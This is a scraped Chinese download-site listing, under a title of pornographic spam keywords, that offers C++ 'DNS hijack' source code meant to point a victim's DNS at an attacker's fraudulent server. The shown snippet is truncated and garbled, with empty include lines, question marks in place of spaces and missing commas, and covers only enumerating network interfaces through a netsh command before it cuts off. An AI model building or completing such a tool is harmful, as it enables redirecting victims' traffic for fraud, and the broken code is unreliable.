91av视频/亚洲h视频/操亚洲美女/外国一级黄色毛片 - 国产三级三级三级三级

  • 大小: 3KB
    文件類型: .cpp
    金幣: 1
    下載: 0 次
    發布日期: 2021-06-14
  • 語言: C/C++
  • 標簽: DNS劫持??

資源簡介

DNS劫持源代碼,用戶可以傳一個ip當作DNS服務器,被攻擊者的dns會自動指向您的欺詐DNS服務器。

資源截圖

代碼片段和文件信息

#include?
#include?
#include?
#include?
#include?
#include?
using?namespace?std;

class?DNS_Hijack?{
private:
list?interface_using; //獲取本地可用網卡
list?last_get_interface_using;
private:
string?str; //存儲文件讀取后的內容
string?DNS;

private:
void?Get_using_interface()
{
system(“netsh?interface?show?interface?>?interface_info.txt“);

FILE*?fp?=?fopen(“interface_info.txt“?“rb“);
const?int?file_size?=?filelength(fileno(fp));
char*?buff?=?(char*)malloc(sizeof(char)*file_size);
if?(fp)?{
fread(buff?1?file_size?fp);
str?=?buff;
free(buff);
replaceA_to_B(str?“-------------------------------------------------------------------------\r\n“?““);
Split(str?“\r\n“?interface_using);
Spilt_space(interface_using);
}
}

private:
void?Spilt_space(list?list_str)?{
for?(list::iterator?itor?=?list_str.begin();?itor?!=?list_str.end();?itor++)?{
cout?< string::size_type?first_variable?=?(*itor).find(“已啟用“);
string::size_type?second_variable?=?(*itor).find(“已連接“);
string::size_type?third_variable?=?(*itor).find(“專用“);
if?(first_variable?!=?string::npos?&&?second_variable?!=?string::npos?&&?third_variable?!=?string::npos)?{
string?info?=?*itor;
last_get_interface_using.

評論

共有 條評論

相關資源